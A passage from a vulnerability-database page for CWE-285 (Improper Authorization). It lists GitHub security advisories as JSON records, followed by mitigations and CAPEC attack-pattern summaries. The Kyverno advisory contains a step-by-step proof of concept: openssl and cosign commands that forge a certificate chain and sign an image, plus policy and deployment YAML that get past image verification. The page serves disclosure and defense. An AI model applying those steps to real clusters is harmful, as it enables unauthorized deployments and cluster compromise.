CWE-285
DiscouragedImproper Authorization
Abstraction: Class · Status: Draft
The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action.
2329 vulnerabilities reference this CWE, most recent first.
GHSA-44GG-PMQR-4669
Vulnerability from github – Published: 2022-02-15 01:57 – Updated: 2021-05-20 16:28Docker 1.3.0 through 1.3.1 allows remote attackers to modify the default run profile of image containers and possibly bypass the container by applying unspecified security options to an image.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/docker/docker"
},
"ranges": [
{
"events": [
{
"introduced": "1.3.0"
},
{
"fixed": "1.3.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2014-6408"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": true,
"github_reviewed_at": "2021-05-20T16:28:01Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "Docker 1.3.0 through 1.3.1 allows remote attackers to modify the default run profile of image containers and possibly bypass the container by applying unspecified security options to an image.",
"id": "GHSA-44gg-pmqr-4669",
"modified": "2021-05-20T16:28:01Z",
"published": "2022-02-15T01:57:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-6408"
},
{
"type": "WEB",
"url": "https://github.com/docker/docker/commit/c9379eb3fbbc484c056f5a5e49d8d0b755a29c45"
},
{
"type": "WEB",
"url": "https://docs.docker.com/v1.3/release-notes"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/pipermail/package-announce/2014-December/145154.html"
},
{
"type": "WEB",
"url": "https://lists.opensuse.org/opensuse-security-announce/2014-12/msg00009.html"
},
{
"type": "WEB",
"url": "https://secunia.com/advisories/60171"
},
{
"type": "WEB",
"url": "https://secunia.com/advisories/60241"
},
{
"type": "WEB",
"url": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6408"
},
{
"type": "WEB",
"url": "https://www.openwall.com/lists/oss-security/2014/11/24/5"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Access Restriction Bypass in Docker"
}
GHSA-44H6-CJ92-VMJ7
Vulnerability from github – Published: 2023-05-17 18:30 – Updated: 2024-04-04 04:13Improper Authorization in RestAPI in Checkmk GmbH's Checkmk versions <2.1.0p28 and <2.2.0b8 allows remote authenticated users to read arbitrary host_configs.
{
"affected": [],
"aliases": [
"CVE-2023-22348"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-17T16:15:09Z",
"severity": "MODERATE"
},
"details": "Improper Authorization in RestAPI in Checkmk GmbH\u0027s Checkmk versions \u003c2.1.0p28 and \u003c2.2.0b8 allows remote authenticated users to read arbitrary host_configs.",
"id": "GHSA-44h6-cj92-vmj7",
"modified": "2024-04-04T04:13:50Z",
"published": "2023-05-17T18:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-22348"
},
{
"type": "WEB",
"url": "https://checkmk.com/werk/13982"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-44HP-HMPQ-CGW3
Vulnerability from github – Published: 2024-01-11 00:30 – Updated: 2025-11-04 21:31A logic issue was addressed with improved checks. This issue is fixed in macOS Sonoma 14. An app may be able to access removable volumes without user consent.
{
"affected": [],
"aliases": [
"CVE-2023-40430"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-10T22:15:48Z",
"severity": "MODERATE"
},
"details": "A logic issue was addressed with improved checks. This issue is fixed in macOS Sonoma 14. An app may be able to access removable volumes without user consent.",
"id": "GHSA-44hp-hmpq-cgw3",
"modified": "2025-11-04T21:31:03Z",
"published": "2024-01-11T00:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-40430"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT213940"
},
{
"type": "WEB",
"url": "https://support.apple.com/kb/HT213940"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-45MX-G85M-WWM3
Vulnerability from github – Published: 2022-05-24 19:10 – Updated: 2024-04-22 23:22Obsidian before 0.12.12 does not require user confirmation for non-http/https URLs.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "obsidian"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.12.12"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-38148"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": true,
"github_reviewed_at": "2024-04-22T23:22:17Z",
"nvd_published_at": "2021-08-07T03:15:00Z",
"severity": "CRITICAL"
},
"details": "Obsidian before 0.12.12 does not require user confirmation for non-http/https URLs.",
"id": "GHSA-45mx-g85m-wwm3",
"modified": "2024-04-22T23:22:17Z",
"published": "2022-05-24T19:10:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-38148"
},
{
"type": "PACKAGE",
"url": "https://github.com/obsidianmd/obsidian-api"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20210807011714/https://forum.obsidian.md/t/obsidian-release-v0-12-12/21564"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Obsidian does not require user confirmation for non-http/https URLs."
}
GHSA-45X6-9F7M-559P
Vulnerability from github – Published: 2022-10-25 19:00 – Updated: 2022-10-29 12:00A vulnerability in the MiCollab Client API of Mitel MiCollab 9.1.3 through 9.5.0.101 could allow an authenticated attacker to modify their profile parameters due to improper authorization controls. A successful exploit could allow the authenticated attacker to control another extension number.
{
"affected": [],
"aliases": [
"CVE-2022-36453"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-10-25T18:15:00Z",
"severity": "HIGH"
},
"details": "A vulnerability in the MiCollab Client API of Mitel MiCollab 9.1.3 through 9.5.0.101 could allow an authenticated attacker to modify their profile parameters due to improper authorization controls. A successful exploit could allow the authenticated attacker to control another extension number.",
"id": "GHSA-45x6-9f7m-559p",
"modified": "2022-10-29T12:00:50Z",
"published": "2022-10-25T19:00:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-36453"
},
{
"type": "WEB",
"url": "https://www.mitel.com/support/security-advisories"
},
{
"type": "WEB",
"url": "https://www.mitel.com/support/security-advisories/mitel-product-security-advisory-22-0006"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4625-9RV5-G3GM
Vulnerability from github – Published: 2023-08-13 15:30 – Updated: 2024-04-04 06:54Parameter verification vulnerability in the installd module. Successful exploitation of this vulnerability may cause sandbox files to be read and written without authorization.
{
"affected": [],
"aliases": [
"CVE-2023-39403"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-358"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-08-13T13:15:13Z",
"severity": "CRITICAL"
},
"details": "Parameter verification vulnerability in the installd module. Successful exploitation of this vulnerability may cause sandbox files to be read and written without authorization.",
"id": "GHSA-4625-9rv5-g3gm",
"modified": "2024-04-04T06:54:14Z",
"published": "2023-08-13T15:30:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-39403"
},
{
"type": "WEB",
"url": "https://consumer.huawei.com/en/support/bulletin/2023/8"
},
{
"type": "WEB",
"url": "https://device.harmonyos.com/en/docs/security/update/security-bulletins-202308-0000001667644725"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-467R-6MJF-FX3W
Vulnerability from github – Published: 2022-06-10 00:00 – Updated: 2022-06-16 00:00A vulnerability classified as critical was found in SourceCodester Prison Management System 1.0. Affected by this vulnerability is an unknown functionality of the file /classes/Users.php?f=save of the component New User Creation. The manipulation leads to improper authorization. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.
{
"affected": [],
"aliases": [
"CVE-2022-2019"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-06-09T16:15:00Z",
"severity": "HIGH"
},
"details": "A vulnerability classified as critical was found in SourceCodester Prison Management System 1.0. Affected by this vulnerability is an unknown functionality of the file /classes/Users.php?f=save of the component New User Creation. The manipulation leads to improper authorization. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.",
"id": "GHSA-467r-6mjf-fx3w",
"modified": "2022-06-16T00:00:23Z",
"published": "2022-06-10T00:00:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-2019"
},
{
"type": "WEB",
"url": "https://github.com/ch0ing/vul/blob/main/WebRay.com.cn/Prison%20Management%20System--.md"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.201367"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-469H-VCWF-R2V3
Vulnerability from github – Published: 2022-05-24 16:47 – Updated: 2024-04-04 00:56A vulnerability has been identified in Siveillance VMS 2017 R2 (All versions < V11.2a), Siveillance VMS 2018 R1 (All versions < V12.1a), Siveillance VMS 2018 R2 (All versions < V12.2a), Siveillance VMS 2018 R3 (All versions < V12.3a), Siveillance VMS 2019 R1 (All versions < V13.1a). An attacker with network access to port 80/TCP can change user-defined event properties without proper authorization. The security vulnerability could be exploited by an authenticated attacker with network access to the affected service. No user interaction is required to exploit this security vulnerability. Successful exploitation compromises integrity of the user-defined event properties and the availability of corresponding functionality. At the time of advisory publication no public exploitation of this security vulnerability was known.
{
"affected": [],
"aliases": [
"CVE-2019-6582"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-06-12T14:29:00Z",
"severity": "HIGH"
},
"details": "A vulnerability has been identified in Siveillance VMS 2017 R2 (All versions \u003c V11.2a), Siveillance VMS 2018 R1 (All versions \u003c V12.1a), Siveillance VMS 2018 R2 (All versions \u003c V12.2a), Siveillance VMS 2018 R3 (All versions \u003c V12.3a), Siveillance VMS 2019 R1 (All versions \u003c V13.1a). An attacker with network access to port 80/TCP can change user-defined event properties without proper authorization. The security vulnerability could be exploited by an authenticated attacker with network access to the affected service. No user interaction is required to exploit this security vulnerability. Successful exploitation compromises integrity of the user-defined event properties and the availability of corresponding functionality. At the time of advisory publication no public exploitation of this security vulnerability was known.",
"id": "GHSA-469h-vcwf-r2v3",
"modified": "2024-04-04T00:56:48Z",
"published": "2022-05-24T16:47:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-6582"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/pdf/ssa-212009.pdf"
},
{
"type": "WEB",
"url": "https://ics-cert.us-cert.gov/advisories/ICSA-19-162-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-46HR-3CQ3-MCGP
Vulnerability from github – Published: 2024-09-16 14:37 – Updated: 2024-09-16 20:16An issue was discovered in OpenDaylight Authentication, Authorization and Accounting (AAA) through 0.19.3. A rogue controller can join a cluster to impersonate an offline peer, even if this rogue controller does not possess the complete cluster configuration information.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.opendaylight.aaa:aaa-artifacts"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.19.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-46943"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-287",
"CWE-520"
],
"github_reviewed": true,
"github_reviewed_at": "2024-09-16T20:16:16Z",
"nvd_published_at": "2024-09-15T23:15:11Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in OpenDaylight Authentication, Authorization and Accounting (AAA) through 0.19.3. A rogue controller can join a cluster to impersonate an offline peer, even if this rogue controller does not possess the complete cluster configuration information.",
"id": "GHSA-46hr-3cq3-mcgp",
"modified": "2024-09-16T20:16:16Z",
"published": "2024-09-16T14:37:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-46943"
},
{
"type": "WEB",
"url": "https://docs.opendaylight.org/en/latest/release-notes/projects/aaa.html"
},
{
"type": "WEB",
"url": "https://doi.org/10.48550/arXiv.2408.16940"
},
{
"type": "PACKAGE",
"url": "https://github.com/opendaylight/aaa"
},
{
"type": "WEB",
"url": "https://lf-opendaylight.atlassian.net/browse/AAA-285"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenDaylight Authentication, Authorization and Accounting (AAA) peer impersonation vulnerability"
}
GHSA-46MP-8W32-6G94
Vulnerability from github – Published: 2025-03-24 19:07 – Updated: 2025-05-08 14:51Summary
Kyverno ignores subjectRegExp and IssuerRegExp while verifying artifact's sign with keyless mode. It allows the attacker to deploy kubernetes resources with the artifacts that were signed by unexpected certificate.
Details
Kyverno checks only subject and issuer fields when verifying an artifact's signature: https://github.com/Mohdcode/kyverno/blob/373f942ea9fa8b63140d0eb0e101b9a5f71033f3/pkg/cosign/cosign.go#L537. While there are subjectRegExp and issuerRegExp fields that can also be used for the defining expected subject and issue values. If the last ones are used then their values are not taken in count and there is no actually restriction for the certificate that was used for the image sign.
PoC
For the successful exploitation attacker needs: - Private key of any certificate in the certificate chain that trusted by cosign. It can be certificate that signed by company's self-signed Root CA if they are using their own PKI. - Access to container registry to push artifacts images - Availability to deploy malicious artifacts to the kubernetes cluster
- Generate certificate that will be used for the image signing with the oidcissuer url. That can be done with the Fulcio or manually by using openssl
# Create self-signed RootCA
openssl req -x509 -newkey rsa:4096 -keyout root-ca-key.pem -sha256 -noenc -days 9999 -subj "/C=AA/L=Location/O=IT/OU=Security/CN=Root Certificate Authority" -out root-ca.pem
# Create request for the intermediate certificate
openssl req -noenc -newkey rsa:4096 -keyout intermediate-ca-key.pem -addext "subjectKeyIdentifier = hash" -addext "keyUsage = critical,keyCertSign" -addext "basicConstraints = critical,CA:TRUE,pathlen:2" -subj "/C=AA/L=Location/O=IT/OU=Security/CN=Intermediate Certificate Authority" -out intermediate-ca.csr
# Issue intermediate cert with RootCA
openssl x509 -req -days 9999 -sha256 -in intermediate-ca.csr -CA root-ca.pem -CAkey root-ca-key.pem -copy_extensions copy -out intermediate-ca.pem
# OID_1_1 is the hexadecimal representation of the oidcissuer url
OID_1_1=$(echo -n "https://me.net" | xxd -p -u)
# Create request for the leaf certificate
openssl req -noenc -newkey rsa:4096 -keyout my-key.pem -addext "subjectKeyIdentifier = hash" -addext "basicConstraints = critical,CA:FALSE" -addext "keyUsage = critical,digitalSignature" -addext "subjectAltName = email:me@me.net" -addext "1.3.6.1.4.1.57264.1.1 = DER:${OID_1_1}" -addext "1.3.6.1.4.1.57264.1.8 = ASN1:UTF8String:https://me.net" -subj "/C=AA/L=Location/O=IT/OU=Security/CN=My Cosign Certificate" -out my-cert.csr
# Issue leaf cert with Intermediate CA
openssl x509 -req -in my-cert.csr -CA intermediate-ca.pem -CAkey intermediate-ca-key.pem -copy_extensions copy -days 9999 -sha256 -out my-cert.pem
# Generate certificates chain
cat intermediate-ca.pem root-ca.pem > cert-chain.pem
- Build and push container image
- Import key and sign the image with the generated certificate
COSIGN_PASSWORD="" cosign import-key-pair --key my-key.pem --output-key-prefix=import-my-key
COSIGN_PASSWORD="" cosign sign $IMAGE_WITH_HASH --tlog-upload=false --cert my-cert.pem --cert-chain cert-chain.pem --key import-my-key.key
- Add ClusterPolicy for the Kyverno with the wrong subject and issuer regexp. Adding (Fulcio) Root CA as secret and using it in policy is optional only if cosign cannot trust it:
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: check-image-keyless
spec:
validationFailureAction: Enforce
webhookTimeoutSeconds: 30
rules:
- name: check-image-keyless
match:
any:
- resources:
kinds:
- Pod
context:
- name: encodedCert
apiCall:
urlPath: "/api/v1/namespaces/kyverno/secrets/fulcio-ca"
method: GET
jmesPath: "data.\"fulcio-ca.pem\""
- name: root
variable:
jmesPath: "base64_decode(encodedCert)"
verifyImages:
- imageReferences:
- "<IMAGE_REGEXP>"
attestors:
- entries:
- keyless:
subjectRegExp: https://ivalid
issuerRegExp: https://ivalid
roots: "{{root}}"
rekor:
url: <URL_TO_REKOR>
pubkey: |-
-----BEGIN PUBLIC KEY-----
...
-----END PUBLIC KEY-----
ctlog:
pubkey: |-
-----BEGIN PUBLIC KEY-----
...
-----END PUBLIC KEY-----
- Deploy previously signed image
apiVersion: apps/v1
kind: Deployment
metadata:
labels:
app: image-sign
name: image-sign
namespace: default
spec:
replicas: 2
selector:
matchLabels:
app: image-sign
strategy: {}
template:
metadata:
annotations:
labels:
app: image-sign
spec:
containers:
- image: <YOUR_IMAGE>
imagePullPolicy: Always
name: image-signing
ports:
- containerPort: 5000
resources:
requests:
memory: 500Mi
cpu: 0.1
limits:
memory: 2Gi
cpu: 0.2
restartPolicy: Always
status: {}
- The deployment with pods will be create successfully due to not checking subjectRegExp and issuerRegExp fields validation
Impact
Deploying unauthorized kubernetes resources that can lead to full compromise of kubernetes cluster
P.S.
Problem was discovered by me when testing image sign verifying with keyless signing: https://kubernetes.slack.com/archives/CLGR9BJU9/p1740136401365279?thread_ts=1740136401.365279&cid=CLGR9BJU9. Then it was verified and fixed by Mohcode. But i think it should be registered as security problem such as it allows to bypass part of the verification mechanism and Kyverno users should be aware of it.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c 1.13.5"
},
"package": {
"ecosystem": "Go",
"name": "github.com/kyverno/kyverno"
},
"ranges": [
{
"events": [
{
"introduced": "1.13.0"
},
{
"fixed": "1.14.0-alpha.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-29778"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": true,
"github_reviewed_at": "2025-03-24T19:07:28Z",
"nvd_published_at": "2025-03-24T17:15:20Z",
"severity": "MODERATE"
},
"details": "### Summary\nKyverno ignores subjectRegExp and IssuerRegExp while verifying artifact\u0027s sign with keyless mode. It allows the attacker to deploy kubernetes resources with the artifacts that were signed by unexpected certificate.\n\n### Details\nKyverno checks only subject and issuer fields when verifying an artifact\u0027s signature: https://github.com/Mohdcode/kyverno/blob/373f942ea9fa8b63140d0eb0e101b9a5f71033f3/pkg/cosign/cosign.go#L537. While there are subjectRegExp and issuerRegExp fields that can also be used for the defining expected subject and issue values. If the last ones are used then their values are not taken in count and there is no actually restriction for the certificate that was used for the image sign.\n\n\n### PoC\n\nFor the successful exploitation attacker needs:\n- Private key of any certificate in the certificate chain that trusted by cosign. It can be certificate that signed by company\u0027s self-signed Root CA if they are using their own PKI.\n- Access to container registry to push artifacts images \n- Availability to deploy malicious artifacts to the kubernetes cluster\n\n1. Generate certificate that will be used for the image signing with the oidcissuer url. That can be done with the Fulcio or manually by using openssl\n\n```\n# Create self-signed RootCA\nopenssl req -x509 -newkey rsa:4096 -keyout root-ca-key.pem -sha256 -noenc -days 9999 -subj \"/C=AA/L=Location/O=IT/OU=Security/CN=Root Certificate Authority\" -out root-ca.pem\n\n\n# Create request for the intermediate certificate\nopenssl req -noenc -newkey rsa:4096 -keyout intermediate-ca-key.pem -addext \"subjectKeyIdentifier = hash\" -addext \"keyUsage = critical,keyCertSign\" -addext \"basicConstraints = critical,CA:TRUE,pathlen:2\" -subj \"/C=AA/L=Location/O=IT/OU=Security/CN=Intermediate Certificate Authority\" -out intermediate-ca.csr\n\n# Issue intermediate cert with RootCA\nopenssl x509 -req -days 9999 -sha256 -in intermediate-ca.csr -CA root-ca.pem -CAkey root-ca-key.pem -copy_extensions copy -out intermediate-ca.pem\n\n# OID_1_1 is the hexadecimal representation of the oidcissuer url\nOID_1_1=$(echo -n \"https://me.net\" | xxd -p -u)\n\n# Create request for the leaf certificate\nopenssl req -noenc -newkey rsa:4096 -keyout my-key.pem -addext \"subjectKeyIdentifier = hash\" -addext \"basicConstraints = critical,CA:FALSE\" -addext \"keyUsage = critical,digitalSignature\" -addext \"subjectAltName = email:me@me.net\" -addext \"1.3.6.1.4.1.57264.1.1 = DER:${OID_1_1}\" -addext \"1.3.6.1.4.1.57264.1.8 = ASN1:UTF8String:https://me.net\" -subj \"/C=AA/L=Location/O=IT/OU=Security/CN=My Cosign Certificate\" -out my-cert.csr\n\n# Issue leaf cert with Intermediate CA\nopenssl x509 -req -in my-cert.csr -CA intermediate-ca.pem -CAkey intermediate-ca-key.pem -copy_extensions copy -days 9999 -sha256 -out my-cert.pem\n\n# Generate certificates chain\ncat intermediate-ca.pem root-ca.pem \u003e cert-chain.pem\n```\n\n2. Build and push container image\n2. Import key and sign the image with the generated certificate\n```\nCOSIGN_PASSWORD=\"\" cosign import-key-pair --key my-key.pem --output-key-prefix=import-my-key\nCOSIGN_PASSWORD=\"\" cosign sign $IMAGE_WITH_HASH --tlog-upload=false --cert my-cert.pem --cert-chain cert-chain.pem --key import-my-key.key\n```\n\n3. Add ClusterPolicy for the Kyverno with the wrong subject and issuer regexp. Adding (Fulcio) Root CA as secret and using it in policy is optional only if cosign cannot trust it:\n```\napiVersion: kyverno.io/v1\nkind: ClusterPolicy\nmetadata:\n name: check-image-keyless\nspec:\n validationFailureAction: Enforce\n webhookTimeoutSeconds: 30\n rules:\n - name: check-image-keyless\n match:\n any:\n - resources:\n kinds:\n - Pod\n context:\n - name: encodedCert\n apiCall:\n urlPath: \"/api/v1/namespaces/kyverno/secrets/fulcio-ca\"\n method: GET\n jmesPath: \"data.\\\"fulcio-ca.pem\\\"\"\n - name: root\n variable:\n jmesPath: \"base64_decode(encodedCert)\"\n verifyImages:\n - imageReferences:\n - \"\u003cIMAGE_REGEXP\u003e\"\n attestors:\n - entries:\n - keyless:\n subjectRegExp: https://ivalid\n issuerRegExp: https://ivalid\n roots: \"{{root}}\"\n rekor:\n url: \u003cURL_TO_REKOR\u003e\n pubkey: |-\n -----BEGIN PUBLIC KEY-----\n ...\n -----END PUBLIC KEY-----\n ctlog:\n pubkey: |-\n -----BEGIN PUBLIC KEY-----\n ...\n -----END PUBLIC KEY-----\n```\n\n4. Deploy previously signed image\n```\napiVersion: apps/v1\nkind: Deployment\nmetadata:\n labels:\n app: image-sign\n name: image-sign\n namespace: default\nspec:\n replicas: 2\n selector:\n matchLabels:\n app: image-sign\n strategy: {}\n template:\n metadata:\n annotations:\n labels:\n app: image-sign\n spec:\n containers:\n - image: \u003cYOUR_IMAGE\u003e\n imagePullPolicy: Always\n name: image-signing\n ports:\n - containerPort: 5000\n resources:\n requests:\n memory: 500Mi\n cpu: 0.1\n limits:\n memory: 2Gi\n cpu: 0.2\n restartPolicy: Always\nstatus: {}\n```\n\n5. The deployment with pods will be create successfully due to not checking subjectRegExp and issuerRegExp fields validation\n\n### Impact\nDeploying unauthorized kubernetes resources that can lead to full compromise of kubernetes cluster\n\n### P.S.\nProblem was discovered by me when testing image sign verifying with keyless signing: \nhttps://kubernetes.slack.com/archives/CLGR9BJU9/p1740136401365279?thread_ts=1740136401.365279\u0026cid=CLGR9BJU9. Then it was [verified](https://github.com/kyverno/policies/issues/1246) and [fixed](https://github.com/kyverno/kyverno/pull/12237) by [Mohcode](https://github.com/Mohdcode). But i think it should be registered as security problem such as it allows to bypass part of the verification mechanism and Kyverno users should be aware of it.",
"id": "GHSA-46mp-8w32-6g94",
"modified": "2025-05-08T14:51:55Z",
"published": "2025-03-24T19:07:28Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kyverno/kyverno/security/advisories/GHSA-46mp-8w32-6g94"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-29778"
},
{
"type": "WEB",
"url": "https://github.com/kyverno/policies/issues/1246"
},
{
"type": "WEB",
"url": "https://github.com/kyverno/kyverno/pull/12237"
},
{
"type": "WEB",
"url": "https://github.com/kyverno/kyverno/commit/8777672fb17bdf252bd2e7d8de3441e240404a60"
},
{
"type": "WEB",
"url": "https://github.com/Mohdcode/kyverno/blob/373f942ea9fa8b63140d0eb0e101b9a5f71033f3/pkg/cosign/cosign.go#L537"
},
{
"type": "PACKAGE",
"url": "https://github.com/kyverno/kyverno"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Kyverno ignores subjectRegExp and IssuerRegExp"
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that you perform access control checks related to your business logic. These checks may be different than the access control checks that you apply to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor.
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs
In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.
CAPEC-104: Cross Zone Scripting
An attacker is able to cause a victim to load content into their web-browser that bypasses security zone controls and gain access to increased privileges to execute scripting code or other web objects such as unsigned ActiveX controls or applets. This is a privilege elevation attack targeted at zone-based web-browser security.
CAPEC-127: Directory Indexing
An adversary crafts a request to a target that results in the target listing/indexing the content of a directory as output. One common method of triggering directory contents as output is to construct a request containing a path that terminates in a directory name rather than a file name since many applications are configured to provide a list of the directory's contents when such a request is received. An adversary can use this to explore the directory tree on a target as well as learn the names of files. This can often end up revealing test files, backup files, temporary files, hidden files, configuration files, user accounts, script contents, as well as naming conventions, all of which can be used by an attacker to mount additional attacks.
CAPEC-13: Subverting Environment Variable Values
The adversary directly or indirectly modifies environment variables used by or controlling the target software. The adversary's goal is to cause the target software to deviate from its expected operation in a manner that benefits the adversary.
CAPEC-17: Using Malicious Files
An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.
CAPEC-39: Manipulating Opaque Client-based Data Tokens
In circumstances where an application holds important data client-side in tokens (cookies, URLs, data files, and so forth) that data can be manipulated. If client or server-side application components reinterpret that data as authentication tokens or data (such as store item pricing or wallet information) then even opaquely manipulating that data may bear fruit for an Attacker. In this pattern an attacker undermines the assumption that client side tokens have been adequately protected from tampering through use of encryption or obfuscation.
CAPEC-402: Bypassing ATA Password Security
An adversary exploits a weakness in ATA security on a drive to gain access to the information the drive contains without supplying the proper credentials. ATA Security is often employed to protect hard disk information from unauthorized access. The mechanism requires the user to type in a password before the BIOS is allowed access to drive contents. Some implementations of ATA security will accept the ATA command to update the password without the user having authenticated with the BIOS. This occurs because the security mechanism assumes the user has first authenticated via the BIOS prior to sending commands to the drive. Various methods exist for exploiting this flaw, the most common being installing the ATA protected drive into a system lacking ATA security features (a.k.a. hot swapping). Once the drive is installed into the new system the BIOS can be used to reset the drive password.
CAPEC-45: Buffer Overflow via Symbolic Links
This type of attack leverages the use of symbolic links to cause buffer overflows. An adversary can try to create or manipulate a symbolic link file such that its contents result in out of bounds data. When the target software processes the symbolic link file, it could potentially overflow internal buffers with insufficient bounds checking.
CAPEC-5: Blue Boxing
